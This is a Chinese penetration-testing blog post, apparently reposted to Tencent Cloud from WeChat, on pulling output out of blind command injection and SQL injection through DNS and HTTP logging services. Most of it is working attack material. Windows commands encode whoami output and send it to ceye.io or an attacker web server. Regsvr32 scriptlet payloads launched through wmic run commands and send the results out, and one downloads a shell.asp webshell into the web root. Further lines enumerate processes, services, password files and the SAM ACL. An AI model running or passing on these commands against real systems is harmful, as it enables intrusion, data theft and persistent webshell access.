前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >命令执行/SQL盲注无回显外带方式

命令执行/SQL盲注无回显外带方式

作者头像
潇湘信安
发布2022-09-14 21:50:31
2K0
发布2022-09-14 21:50:31
举报
文章被收录于专栏:潇湘信安潇湘信安

0x01 前言

在渗透测试中我们时常会遇到一些无回显的场景,如常见的:SQL盲注、命令执行、XSS、SSRF、Blind XXE等漏洞,这时就需要利用第三方dnslog/httplog平台才能将数据和命令执行结果外带出来。

这篇文章我们主要以命令执行漏洞为例来介绍几个常用的数据外带平台和方式,不会再去细讲每个漏洞的外带利用方式,因为写的师傅太多了,想了解的可以自己去百度搜索相关资料学习下吧。

0x02 Dnslog

常用dnslog平台:dnslog.cndig.pmceye.io,各有利弊吧。当然,如果大家不想用这些免费的也可以通过以下几个开源项目去自行搭建。

代码语言:javascript
复制
https://github.com/SPuerBRead/Bridge
https://github.com/lanyi1998/DNSlog-GO
https://github.com/yumusb/DNSLog-Platform-Golang

dnslog、dig两个平台都仅支持DNS,而且默认只能展示几条数据,dig可以通过F12展示多条数据。

而ceye不仅支持dnslog,还支持httplog,可以展示多页数据,所以推荐使用CEYE。

Base64编码写文件:

代码语言:javascript
复制
whoami>temp & certutil -encode temp temp1 & findstr /L /V CERTIFICATE temp1>temp2

HTTP外带执行结果:

代码语言:javascript
复制
for /F %i in ('type temp2') do ping -n -1 %i.***.ceye.io
图片
图片

0x03 Httplog

httplog这种方式可同时探测DNS和HTTP是否都能出网?CEYE、Burp Collaborator都行,如HTTP能出则大概率可以直接上线,可以用以下几条命令进行测试。

代码语言:javascript
复制
certutil -urlcache -split -f http://***.burpcollaborator.net
powershell (Invoke-WebRequest -Uri "http://***.burpcollaborator.net")
bitsadmin /rawreturn /transfer n "http://***.burpcollaborator.net" "D\1.txt"
图片
图片

如果想把命令执行结果通过httplog外带出来,我们可以直接执行以下Python命令开启一个临时Web服务。

代码语言:javascript
复制
python -m SimpleHTTPServer 8888
python3 -m http.server 8888

接着我们再执行以下命令即可,外带出来的执行结果会显示在开启的Web日志中。

Base64编码写文件:

代码语言:javascript
复制
whoami>temp & certutil -encode temp temp1 & findstr /L /V CERTIFICATE temp1>temp2

HTTP外带执行结果:

代码语言:javascript
复制
for /F %i in ('type temp2') do certutil -urlcache -split -f http://192.168.1.120:8888/%i
图片
图片

我们也可以直接用Burp Collaborator或CEYE外带,不过有时Burp Collaborator中的HTTP、DNS可能会不通。

记得在使用Burp Collaborator前先去检查一下,确定没问题后再去执行命令进行外带。

代码语言:javascript
复制
Burp -> Burp Collaborator client
Project options -> Misc -> Run health check
图片
图片
图片
图片

如遇安全防护时也可以去尝试下@倾旋师傅“Regsvr32 ole对象”文中提到的方法,通过修改脚本文件内容来外带不同命令的执行结果,如:查看当前权限、进程/服务、文件和目录及下载文件等。

代码语言:javascript
复制
wmic process call create "regsvr32 /s /n /u /i:http://192.168.1.120:8888/whoami.txt scrobj.dll"

执行命令脚本:

代码语言:javascript
复制
<?XML version="1.0"?>
<scriptlet>
  <registration progid="d08c96" classid="{cea46581-c344-4157-b891-30f358f1522d}" >
    <script language="vbscript">
<![CDATA[
Sub getName(name)
    Dim http
  Set http = CreateObject("Msxml2.ServerXMLHTTP")
  http.open "GET","http://192.168.1.120:8888/"+name, False
  http.send
End Sub

Sub Cmd(command)
Set oShell = CreateObject("WScript.Shell")
Set Re = oShell.Exec(command)

Do While Not Re.StdOut.AtEndOfStream
  getName Re.StdOut.ReadLine()
Loop
End Sub

Cmd "whoami"
]]>
</script>
  </registration>
</scriptlet>
图片
图片
代码语言:javascript
复制
wmic process call create "regsvr32 /s /n /u /i:http://192.168.1.120:8888/down.txt scrobj.dll"

文件下载脚本:

代码语言:javascript
复制
<?XML version="1.0"?>
<scriptlet>
  <registration progid="d08c96" classid="{cea46581-c344-4157-b891-30f358f1522d}" >
    <script language="vbscript">
    <![CDATA[
Set Shell = CreateObject("Wscript.Shell")
Set Post = CreateObject("Msxml2.XMLHTTP")
wfolder = "C:\inetpub\wwwroot\upload\shell.asp"
Post.Open "GET","http://192.168.1.120:8888/shell.txt",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)

aGet.SaveToFile wfolder,2

    ]]>
</script>
  </registration>
</scriptlet>
图片
图片
代码语言:javascript
复制
wmic process call create "regsvr32 /s /n /u /i:http://192.168.1.120:8888/pslist.txt scrobj.dll"
echo base64 | base64 -d

查看进程脚本:

代码语言:javascript
复制
<?XML version="1.0"?>
<scriptlet>
  <registration progid="d08c96" classid="{cea46581-c344-4157-b891-30f358f1522d}" >
    <script language="vbscript">
<![CDATA[
Sub getName(name)
    Dim http
  Set http = CreateObject("Msxml2.ServerXMLHTTP")
  http.open "GET","http://192.168.1.120:8888/"+name, False
  http.send
End Sub

Sub Cmd(command)
Set oShell = CreateObject("WScript.Shell")
Set Re = oShell.Exec(command)

Do While Not Re.StdOut.AtEndOfStream
  getName Re.StdOut.ReadLine()
Loop
End Sub

Cmd "powershell -w hidden -c $s=Get-Process;$process ='';foreach ($n in $s){$process += $n.Name+'|'}$Bytes = [System.Text.Encoding]::Unicode.GetBytes($process);$EncodedText =[Convert]::ToBase64String($Bytes);Write-Host $EncodedText;exit;"
]]>
</script>
  </registration>
</scriptlet>
图片
图片
图片
图片

其他功能命令:

代码语言:javascript
复制
获取服务列表:
powershell -w hidden -c $s=Get-Service;$service ='';foreach ($n in $s){$service += $n.Name+'|'}$Bytes = [System.Text.Encoding]::Unicode.GetBytes($service);$EncodedText =[Convert]::ToBase64String($Bytes);Write-Host $EncodedText;exit;

获取文件和目录:
powershell -w hidden -c $s=Get-ChildItem C:\inetpub\wwwroot;$process ='';foreach ($n in $s){$process += $n.Name+'|'}$Bytes = [System.Text.Encoding]::Unicode.GetBytes($process);$EncodedText =[Convert]::ToBase64String($Bytes);Write-Host $EncodedText;exit;

Get-ChildItem D:\ -Include pass.* -recurse
Get-Acl -Path HKLM:\SAM\SAM | Format-List
Get-Acl -Path C:\inetpub\wwwroot | Format-List

PowerShell模块浏览器:https://docs.microsoft.com/zh-cn/powershell/module/

文末总结:

遇到这种无回显命令执行或SQL盲注漏洞,我们可以先去看一下目标主机是否能够出网,如果不能咋们就用dnslog外带,如果可以则建议还是用httplog外带,因为httplog要比dnslog能带出的信息更多,如:查看指定文件绝对路径、指定路径下的文件/目录等等。

本文参与?腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-06-06,如有侵权请联系?cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与?腾讯云自媒体分享计划? ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
http://www.vxiaotou.com